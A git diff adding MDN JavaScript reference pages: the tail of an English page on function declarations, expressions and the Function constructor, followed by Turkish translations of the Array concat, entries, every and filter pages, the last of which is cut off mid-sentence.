defining getters and setters uses the object literal syntax.</p> + +<dl> + <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></dt> + <dd> + <p>Binds an object property to a function that will be called when that property is looked up.</p> + </dd> + <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></dt> + <dd>Binds an object property to a function to be called when there is an attempt to set that property.</dd> +</dl> + +<h3 id="Method_definition_syntax">Method definition syntax</h3> + +<p>Starting with ECMAScript 2015, you are able to define own methods in a shorter syntax, similar to the getters and setters. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> for more information.</p> + +<pre class="brush: js">var obj = { + foo() {}, + bar() {} +};</pre> + +<h2 id="Constructor_vs._declaration_vs._expression">Constructor vs. declaration vs. expression</h2> + +<p>Compare the following:</p> + +<p>A function defined with the <code>Function</code> <em>constructor</em> assigned to the variable <code>multiply:</code></p> + +<pre class="brush: js">var multiply = new Function('x', 'y', 'return x * y');</pre> + +<p>A <em>function declaration</em> of a function named <code>multiply</code>:</p> + +<pre class="brush: js">function multiply(x, y) { + return x * y; +} // there is no semicolon here +</pre> + +<p>A <em>function expression</em> of an anonymous function assigned to the variable <code>multiply:</code></p> + +<pre class="brush: js">var multiply = function(x, y) { + return x * y; +}; +</pre> + +<p>A <em>function expression</em> of a function named <code>func_name</code> assigned to the variable <code>multiply:</code></p> + +<pre class="brush: js">var multiply = function func_name(x, y) { + return x * y; +}; +</pre> + +<h3 id="Differences">Differences</h3> + +<p>All do approximately the same thing, with a few subtle differences:</p> + +<p>There is a distinction between the function name and the variable the function is assigned to. The function name cannot be changed, while the variable the function is assigned to can be reassigned. The function name can be used only within the function's body. Attempting to use it outside the function's body results in an error (or <code>undefined</code> if the function name was previously declared via a <code>var</code> statement). For example:</p> + +<pre class="brush: js">var y = function x() {}; +alert(x); // throws an error +</pre> + +<p>The function name also appears when the function is serialized via <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toString"><code>Function</code>'s toString method</a>.</p> + +<p>On the other hand, the variable the function is assigned to is limited only by its scope, which is guaranteed to include the scope in which the function is declared.</p> + +<p>As the 4th example shows, the function name can be different from the variable the function is assigned to. They have no relation to each other. A function declaration also creates a variable with the same name as the function name. Thus, unlike those defined by function expressions, functions defined by function declarations can be accessed by their name in the scope they were defined in:</p> + +<p>A function defined by '<code>new Function'</code> does not have a function name. However, in the <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> JavaScript engine, the serialized form of the function shows as if it has the name "anonymous". For example, <code>alert(new Function())</code> outputs:</p> + +<pre class="brush: js">function anonymous() { +} +</pre> + +<p>Since the function actually does not have a name, <code>anonymous</code> is not a variable that can be accessed within the function. For example, the following would result in an error:</p> + +<pre class="brush: js">var foo = new Function("alert(anonymous);"); +foo(); +</pre> + +<p>Unlike functions defined by function expressions or by the <code>Function</code> constructor, a function defined by a function declaration can be used before the function declaration itself. For example:</p> + +<pre class="brush: js">foo(); // alerts FOO! +function foo() { + alert('FOO!'); +} +</pre> + +<p>A function defined by a function expression or by a function declaration inherits the current scope. That is, the function forms a closure. On the other hand, a function defined by a <code>Function</code> constructor does not inherit any scope other than the global scope (which all functions inherit).</p> + +<pre class="brush: js">/* + * Declare and initialize a variable 'p' (global) + * and a function 'myFunc' (to change the scope) inside which + * declare a varible with same name 'p' (current) and + * define three functions using three different ways:- + * 1. function declaration + * 2. function expression + * 3. function constructor + * each of which will log 'p' + */ +var p = 5; +function myFunc() { + var p = 9; + + function decl() { + console.log(p); + } + var expr = function() { + console.log(p); + }; + var cons = new Function('\tconsole.log(p);'); + + decl(); + expr(); + cons(); +} +myFunc(); + +/* + * Logs:- + * 9 - for 'decl' by function declaration (current scope) + * 9 - for 'expr' by function expression (current scope) + * 5 - for 'cons' by Function constructor (global scope) + */ +</pre> + +<p>Functions defined by function expressions and function declarations are parsed only once, while those defined by the <code>Function</code> constructor are not. That is, the function body string passed to the <code>Function</code> constructor must be parsed each and every time the constructor is called. Although a function expression creates a closure every time, the function body is not reparsed, so function expressions are still faster than "<code>new Function(...)</code>". Therefore the <code>Function</code> constructor should generally be avoided whenever possible.</p> + +<p>It should be noted, however, that function expressions and function declarations nested within the function generated by parsing a <code>Function constructor</code> 's string aren't parsed repeatedly. For example:</p> + +<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))(); +foo(); // The segment "function() {\n\talert(bar);\n}" of the function body string is not re-parsed.</pre> + +<p>A function declaration is very easily (and often unintentionally) turned into a function expression. A function declaration ceases to be one when it either:</p> + +<ul> + <li>becomes part of an expression</li> + <li>is no longer a "source element" of a function or the script itself. A "source element" is a non-nested statement in the script or a function body:</li> +</ul> + +<pre class="brush: js">var x = 0; // source element +if (x === 0) { // source element + x = 10; // not a source element + function boo() {} // not a source element +} +function foo() { // source element + var y = 20; // source element + function bar() {} // source element + while (y === 10) { // source element + function blah() {} // not a source element + y++; // not a source element + } +} +</pre> + +<h3 id="Examples">Examples</h3> + +<pre class="brush: js">// function declaration +function foo() {} + +// function expression +(function bar() {}) + +// function expression +x = function hello() {} + + +if (x) { + // function expression + function world() {} +} + + +// function declaration +function a() { + // function declaration + function b() {} + if (0) { + // function expression + function c() {} + } +} +</pre> + +<h2 id="Block-level_functions">Block-level functions</h2> + +<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, starting with ES2015, functions inside blocks are now scoped to that block. Prior to ES2015, block-level functions were forbidden in strict mode.</p> + +<pre class="brush: js">'use strict'; + +function f() { + return 1; +} + +{ + function f() { + return 2; + } +} + +f() === 1; // true + +// f() === 2 in non-strict mode +</pre> + +<h3 id="Block-level_functions_in_non-strict_code">Block-level functions in non-strict code</h3> + +<p>In a word: Don't.</p> + +<p>In non-strict code, function declarations inside blocks behave strangely. For example:</p> + +<pre class="brush: js">if (shouldDefineZero) { + function zero() { // DANGER: compatibility risk + console.log("This is zero."); + } +} +</pre> + +<p>ES2015 says that if <code>shouldDefineZero</code> is false, then <code>zero</code> should never be defined, since the block never executes. However, it's a new part of the standard. Historically, this was left unspecified, and some browsers would define <code>zero</code> whether the block executed or not.</p> + +<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, all browsers that support ES2015 handle this the same way: <code>zero</code> is defined only if <code>shouldDefineZero</code> is true, and only in the scope of the <code>if</code>-block.</p> + +<p>A safer way to define functions conditionally is to assign a function expression to a variable:</p> + +<pre class="brush: js">var zero; +if (shouldDefineZero) { + zero = function() { + console.log("This is zero."); + }; +} +</pre> + +<h2 id="Examples_2">Examples</h2> + +<h3 id="Returning_a_formatted_number">Returning a formatted number</h3> + +<p>The following function returns a string containing the formatted representation of a number padded with leading zeros.</p> + +<pre class="brush: js">// This function returns a string padded with leading zeros +function padZeros(num, totalLen) { + var numStr = num.toString(); // Initialize return value as string + var numZeros = totalLen - numStr.length; // Calculate no. of zeros + for (var i = 1; i <= numZeros; i++) { + numStr = "0" + numStr; + } + return numStr; +} +</pre> + +<p>The following statements call the padZeros function.</p> + +<pre class="brush: js">var result; +result = padZeros(42,4); // returns "0042" +result = padZeros(42,2); // returns "42" +result = padZeros(5,4); // returns "0005" +</pre> + +<h3 id="Determining_whether_a_function_exists">Determining whether a function exists</h3> + +<p>You can determine whether a function exists by using the <code>typeof</code> operator. In the following example, a test is performed to determine if the <code>window</code> object has a property called <code>noFunc</code> that is a function. If so, it is used; otherwise some other action is taken.</p> + +<pre class="brush: js"> if ('function' === typeof window.noFunc) { + // use noFunc() + } else { + // do something else + } +</pre> + +<p>Note that in the <code>if</code> test, a reference to <code>noFunc</code> is used—there are no brackets "()" after the function name so the actual function is not called.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.0</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>New: Arrow functions, Generator functions, default parameters, rest parameters.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.functions")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Statements/function", "function statement")}}</li> + <li>{{jsxref("Operators/function", "function expression")}}</li> + <li>{{jsxref("Statements/function*", "function* statement")}}</li> + <li>{{jsxref("Operators/function*", "function* expression")}}</li> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("GeneratorFunction")}}</li> + <li>{{jsxref("Functions/Arrow_functions", "Arrow functions")}}</li> + <li>{{jsxref("Functions/Default_parameters", "Default parameters")}}</li> + <li>{{jsxref("Functions/rest_parameters", "Rest parameters")}}</li> + <li>{{jsxref("Functions/arguments", "Arguments object")}}</li> + <li>{{jsxref("Functions/get", "getter")}}</li> + <li>{{jsxref("Functions/set", "setter")}}</li> + <li>{{jsxref("Functions/Method_definitions", "Method definitions")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/concat/index.html b/files/tr/web/javascript/reference/global_objects/array/concat/index.html new file mode 100644 index 0000000000..dbeaff447e --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/concat/index.html @@ -0,0 +1,167 @@ +--- +title: Array.prototype.concat +slug: Web/JavaScript/Reference/Global_Objects/Array/concat +tags: + - Array + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<h2 id="Summary" name="Summary">Özet</h2> + +<p><code><strong>concat()</strong></code> metodu eklendigi dizi ile parametre olarak aldığı dizi(leri) birleştirerek yeni bir dizi döndürür.</p> + +<h2 id="Syntax" name="Syntax">Söz Dizimi</h2> + +<pre class="syntaxbox"><code>var <var>new_array</var> = <var>old_array</var>.concat(<var>value1</var>[, <var>value2</var>[, ...[, <var>valueN</var>]]])</code></pre> + +<h3 id="Parameters" name="Parameters">Parmetreler</h3> + +<dl> + <dt><code>value<em>N</em></code></dt> + <dd>Yeni diziye eklenecek dizi ve/veya değerler. Detaylar için aşağıdaki açıklamayı okuyunuz.</dd> +</dl> + +<h2 id="Description" name="Description">Açıklama</h2> + +<p><code>concat</code> çağırılan nesnelerin elemanlarını içeren yeni bir dizi oluşturur. Çağırılma sırasıyla, diziyse elemanlarını, değerse kendisini ekler.</p> + +<p><code>concat</code> , <code>this</code> veya çağırılan dizilerden herhangi birini değiştirmez. Onları kopyalayarak yeni bir dizi oluşturur. Orjinal dizilerin öğeleri yeni diziye aşağıdaki gibi kopyalanır:</p> + +<ul> + <li>Nesne referansı (nesnenin kendisi değil): <code>concat</code> nesne referanslarını yeni diziye kopyalar. Hem orjinal hem de yeni dizi aynı nesneye karşılık gelir. Yani, bir başvurulan nesne değiştirilirse, değişiklikler hem yeni hem de orijinal diziler tarafından görülebilir.</li> + <li>Metinler ve sayılar ({{jsxref("Global_Objects/String", "String")}} ve {{jsxref("Global_Objects/Number", "Number")}} nesneleri değil): <code>concat</code> metin ve sayıların değerlerini yeni dizinin içine kopyalar.</li> +</ul> + +<div class="note"> +<p><strong>Not: </strong>Dizi/değerlerin birleştirilmesi orjinallerini değiştirmez. Ayrıca, yeni dizi (eleman nesne referansı değilse) üzerindeki herhangi bir operasyon orjinal dizileri etkilemez. Tam tersi de geçerlidir.</p> +</div> + +<h2 id="Examples" name="Examples">Örnekler</h2> + +<h3 id="Example:_Concatenating_two_arrays" name="Example:_Concatenating_two_arrays">Örnek: İki diziyi birleştirme</h3> + +<p>Aşağıdaki kod iki diziyi birleştiriyor:</p> + +<pre class="brush: js">var alpha = ['a', 'b', 'c'], + numeric = [1, 2, 3]; + +var alphaNumeric = alpha.concat(numeric); + +console.log(alphaNumeric); // Result: ['a', 'b', 'c', 1, 2, 3] +</pre> + +<h3 id="Example:_Concatenating_three_arrays" name="Example:_Concatenating_three_arrays">Örnek: Üç diziyi birleştirme</h3> + +<p>Aşağıdaki kod üç diziyi birleştiriyor:</p> + +<pre class="brush: js">var num1 = [1, 2, 3], + num2 = [4, 5, 6], + num3 = [7, 8, 9]; + +var nums = num1.concat(num2, num3); + +console.log(nums); // Result: [1, 2, 3, 4, 5, 6, 7, 8, 9] +</pre> + +<h3 id="Example:_Concatenating_values_to_an_array" name="Example:_Concatenating_values_to_an_array">Örnek: Değerleri dizi ile birleştirme</h3> + +<p>Aşağıdaki kod değerler ile diziyi birleştiriyor:</p> + +<pre class="brush: js">var alpha = ['a', 'b', 'c']; + +var alphaNumeric = alpha.concat(1, [2, 3]); + +console.log(alphaNumeric); // Result: ['a', 'b', 'c', 1, 2, 3] +</pre> + +<h2 id="Specifications" name="Specifications">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Özellikler</th> + <th scope="col">Durum</th> + <th scope="col">Yorumlar</th> + </tr> + <tr> + <td>ECMAScript 3rd Edition</td> + <td>Standard</td> + <td>Initial definition. Implemented in JavaScript 1.2.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Tarayıcı Uyumluluğu</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{CompatChrome("1.0")}}</td> + <td>{{CompatGeckoDesktop("1.7")}}</td> + <td>{{CompatIE("5.5")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">Ayrıca Bakınız</h2> + +<ul> + <li>{{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} — dizinin sonundan eleman ekleme/çıkarma</li> + <li>{{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} — dizinin başından eleman ekleme/çıkarma</li> + <li>{{jsxref("Array.splice", "splice")}} — dizinin belirli bir kısmından eleman ekleme/çıkarma</li> + <li>{{jsxref("String.prototype.concat()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/entries/index.html b/files/tr/web/javascript/reference/global_objects/array/entries/index.html new file mode 100644 index 0000000000..7e2d7b6a82 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/entries/index.html @@ -0,0 +1,129 @@ +--- +title: Array.prototype.entries() +slug: Web/JavaScript/Reference/Global_Objects/Array/entries +tags: + - Dizi + - döngü + - gezinilebilir +translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries +--- +<div>{{JSRef}}</div> + +<p><code><strong>entries()</strong></code> metodu, içerisinde, her bir elemanı için anahtar/değer çifti içeren yeni bir <code><strong>Gezinilebilir Dizi </strong></code>nesnesi döndürür.</p> + +<pre class="brush:js">var a = ['a', 'b', 'c']; +var iterator = a.entries(); + +console.log(iterator.next().value); // [0, 'a'] +console.log(iterator.next().value); // [1, 'b'] +console.log(iterator.next().value); // [2, 'c'] +</pre> + +<h2 id="Söz_dizimi">Söz dizimi</h2> + +<pre class="syntaxbox"><var>a</var>.entries()</pre> + +<h3 id="Dönüş_değeri">Dönüş değeri</h3> + +<p>Yeni bir gezinilebilir {{jsxref("Array")}} nesnesi.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Bir_for…of_döngüsü_kullanımı">Bir <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for…of</a> döngüsü kullanımı</h3> + +<pre class="brush:js">var a = ['a', 'b', 'c']; +var iterator = a.entries(); + +for (let e of iterator) { + console.log(e); +} +// [0, 'a'] +// [1, 'b'] +// [2, 'c'] +</pre> + +<h2 id="Tanımlamalar">Tanımlamalar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Tanımlama</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel destekli</td> + <td>{{CompatChrome("38")}}</td> + <td>{{CompatGeckoDesktop("28")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOpera("25")}}</td> + <td>{{CompatSafari("7.1")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel destekli</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("28")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8.0</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_bknz.">Ayrıca bknz.</h2> + +<ul> + <li>{{jsxref("Array.prototype.keys()")}}</li> + <li>{{jsxref("Array.prototype.values()")}}</li> + <li>{{jsxref("Array.prototype.forEach()")}}</li> + <li>{{jsxref("Array.prototype.every()")}}</li> + <li>{{jsxref("Array.prototype.some()")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/every/index.html b/files/tr/web/javascript/reference/global_objects/array/every/index.html new file mode 100644 index 0000000000..1cab33d6fe --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/every/index.html @@ -0,0 +1,189 @@ +--- +title: Array.prototype.every() +slug: Web/JavaScript/Reference/Global_Objects/Array/every +translation_of: Web/JavaScript/Reference/Global_Objects/Array/every +--- +<div>{{JSRef}}</div> + +<div><code><strong>every()</strong></code> metodu bir dizideki tüm elemanların verilen fonksiyonun testini geçip geçmediği kontrol eder. Bu metot true (doğru) yada false (yanlış) olarak ikilik değer döndürür. </div> + +<div class="note"> +<p><strong>Note</strong>: Test edilen array boş ise bu metot true deger döndürür.</p> +</div> + +<div>{{EmbedInteractiveExample("pages/js/array-every.html")}}</div> + + + +<h2 id="Söz_dizimi">Söz dizimi</h2> + +<pre class="syntaxbox">arr.every(callback(element[, index[, array]])[, thisArg])</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Her elemanı test eden üç değişken alan bir fonksiyon: + <dl> + <dt><code>element</code></dt> + <dd>İşlemde olan geçerli dizi elemanı.</dd> + <dt><code>index</code>{{Optional_inline}}</dt> + <dd>İşlemde olan geçerli dizi elemanın indeksi .</dd> + <dt><code>array</code>{{Optional_inline}}</dt> + <dd><code>every</code> tarafından çağrılan dizi.</dd> + </dl> + </dd> + <dt><code>thisArg</code>{{Optional_inline}}</dt> + <dd>Geri dönüş yapıldığında <code>this</code> olarak kullanıcak bir değer.</dd> +</dl> + +<h3 id="Dönüş_değeri">Dönüş değeri</h3> + +<p>Geri dönüş fonksiyonu her bir dizi elemanı için bir {{Glossary("truthy")}} deger dondürse <code><strong>true</strong></code>. Aksi takdirde, <code><strong>false</strong></code>.</p> + +<h2 id="Description">Description</h2> + +<p>The <code>every</code> method executes the provided <code>callback</code> function once for each element present in the array until it finds the one where <code>callback</code> returns a {{Glossary("falsy")}} value. If such an element is found, the <code>every</code> method immediately returns <code>false</code>. Otherwise, if <code>callback</code> returns a {{Glossary("truthy")}} value for all elements, <code>every</code> returns <code>true</code>. <code>callback</code> is invoked only for indexes of the array which have assigned values; it is not invoked for indexes which have been deleted or which have never been assigned values.</p> + +<p><code>callback</code> is invoked with three arguments: the value of the element, the index of the element, and the Array object being traversed.</p> + +<p>If a <code>thisArg</code> parameter is provided to <code>every</code>, it will be used as callback's <code>this</code> value. Otherwise, the value <code>undefined</code> will be used as its <code>this</code> value. The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p> + +<p><code>every</code> does not mutate the array on which it is called.</p> + +<p>The range of elements processed by <code>every</code> is set before the first invocation of <code>callback</code>. Therefore, <code>callback</code> will not run on elements that are appended to the array after the call to <code>every</code> begins. If existing elements of the array are changed, their value as passed to <code>callback</code> will be the value at the time <code>every</code> visits them. Elements that are deleted are not visited.</p> + +<p><code>every</code> acts like the "for all" quantifier in mathematics. In particular, for an empty array, it returns true. (It is <a href="http://en.wikipedia.org/wiki/Vacuous_truth">vacuously true</a> that all elements of the <a href="https://en.wikipedia.org/wiki/Empty_set#Properties">empty set</a> satisfy any given condition.)</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Tüm_dizi_elemanlarının_büyüklüğünün_test_edilmesi">Tüm dizi elemanlarının büyüklüğünün test edilmesi</h3> + +<p>Aşağıdaki örnekte tüm dizi elemanlarının 10'dan büyük yada eşit olma durumu test edilir.</p> + +<pre class="brush: js">function isBigEnough(element, index, array) { + return element >= 10; +} +[12, 5, 8, 130, 44].every(isBigEnough); // false +[12, 54, 18, 130, 44].every(isBigEnough); // true +</pre> + +<h3 id="Ok_fonksiyonlarını_kullanma">Ok fonksiyonlarını kullanma</h3> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Ok fonksiyonları</a> aynı testin daha kısa söz dizimi ile yapılmasını sağlar.</p> + +<pre class="brush: js">[12, 5, 8, 130, 44].every(x => x >= 10); // false +[12, 54, 18, 130, 44].every(x => x >= 10); // true</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p><code>every</code> was added to the ECMA-262 standard in the 5th edition, and it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>every</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming <code>Object</code> and <code>TypeError</code> have their original values and that <code>callbackfn.call</code> evaluates to the original value of {{jsxref("Function.prototype.call")}}</p> + +<pre class="brush: js">if (!Array.prototype.every) { + Array.prototype.every = function(callbackfn, thisArg) { + 'use strict'; + var T, k; + + if (this == null) { + throw new TypeError('this is null or not defined'); + } + + // 1. Let O be the result of calling ToObject passing the this + // value as the argument. + var O = Object(this); + + // 2. Let lenValue be the result of calling the Get internal method + // of O with the argument "length". + // 3. Let len be ToUint32(lenValue). + var len = O.length >>> 0; + + // 4. If IsCallable(callbackfn) is false, throw a TypeError exception. + if (typeof callbackfn !== 'function') { + throw new TypeError(); + } + + // 5. If thisArg was supplied, let T be thisArg; else let T be undefined. + if (arguments.length > 1) { + T = thisArg; + } + + // 6. Let k be 0. + k = 0; + + // 7. Repeat, while k < len + while (k < len) { + + var kValue; + + // a. Let Pk be ToString(k). + // This is implicit for LHS operands of the in operator + // b. Let kPresent be the result of calling the HasProperty internal + // method of O with argument Pk. + // This step can be combined with c + // c. If kPresent is true, then + if (k in O) { + + // i. Let kValue be the result of calling the Get internal method + // of O with argument Pk. + kValue = O[k]; + + // ii. Let testResult be the result of calling the Call internal method + // of callbackfn with T as the this value and argument list + // containing kValue, k, and O. + var testResult = callbackfn.call(T, kValue, k, O); + + // iii. If ToBoolean(testResult) is false, return false. + if (!testResult) { + return false; + } + } + k++; + } + return true; + }; +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.6.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.every")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.forEach()")}}</li> + <li>{{jsxref("Array.prototype.some()")}}</li> + <li>{{jsxref("Array.prototype.find()")}}</li> + <li>{{jsxref("TypedArray.prototype.every()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/filter/index.html b/files/tr/web/javascript/reference/global_objects/array/filter/index.html new file mode 100644 index 0000000000..4dfc8eaeae --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/filter/index.html @@ -0,0 +1,243 @@ +--- +title: Array.prototype.filter() +slug: Web/JavaScript/Reference/Global_Objects/Array/filter +tags: + - Dizi + - ECMAScript 5 + - JavaScript + - Method + - Prototype + - ployfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter +--- +<div>{{JSRef}}</div> + +<div> </div> + +<p><code><strong>filter()</strong></code> metotu sağlanan işlev tarafından uygulanan testi geçen tüm öğelerle birlikte yeni bir dizi oluşturur.</p> + +<div>{{EmbedInteractiveExample("pages/js/array-filter.html")}}</div> + +<p class="hidden">Bu etkileşimli örneğin kaynağı bir GitHub deposunda saklanır. İnteraktif örnekler projesine katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/interactive-examples klonlayın ve bize bir istek gönderin.</p> + +<h2 id="Söz_Dizimi">Söz Dizimi</h2> + +<pre class="syntaxbox"><var>var newArray = arr</var>.filter(<var>callback(element[, index[, array]])</var>[, <var>thisArg</var>])</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Function , dizinin her öğesini sınamak için bir yordamdır. Öğeyi saklamak için <code>true</code> , aksi takdirde <code>false</code> değerini döndürün. Üç argümanı kabul eder:</dd> + <dd> + <dl> + <dt><code>element</code></dt> + <dd>Dizide işlenen mevcut elementtir.</dd> + <dt><code>index</code>{{optional_inline}}</dt> + <dd>Dizide işlenen geçerli öğenin dizini</dd> + <dt><code>array</code>{{optional_inline}}</dt> + <dd>The array <code>filter</code> was called upon.</dd> + </dl> + </dd> + <dt><code>thisArg</code>{{optional_inline}}</dt> + <dd><code>callback</code> çalıştığı zaman <code>this</code> olarak kullanmak için değerdir.</dd> +</dl> + +<h3 id="Dönüş_değer">Dönüş değer</h3> + +<p>Testi geçen öğeler içeren yeni bir dizi. Hiçbir öğe testi geçemezse, boş bir dizi döndürülür.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>filter ()</code>, bir dizideki her öğe için sağlanan bir geri çağırma işlevini çağırır ve geri çağrmanın (callback) doğru olan bir değer döndürdüğü tüm değerler için yeni bir dizisini oluşturur. Geri çağırma (callback), yalnızca atanmış değerleri olan dizinin dizinleri için çağrılır; silinmiş veya hiçbir zaman değer atanmamış indeksler için çağrılmaz. Filtre testini geçmeyen dizi öğeleri basitçe atlanır ve yeni diziye dahil edilmez.</p> + +<p><code>Geri Çağırma (callback)</code> 3 argüman ile çağırılır.</p> + +<ol> + <li>elementin değeri</li> + <li>elementin indeksi</li> + <li>Array nesnesinin geçişi</li> +</ol> + +<p>Filtrelemek için bir thisArg parametresi varsa, geri çağırma (callback) bu değer olarak kullanılacaktır. Aksi halde undefined değeri bu değer olarak kullanılacaktır. <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">Sonuçta geri çağırma ile gözlenebilen this değeri, bir işlev tarafından görülenlerin 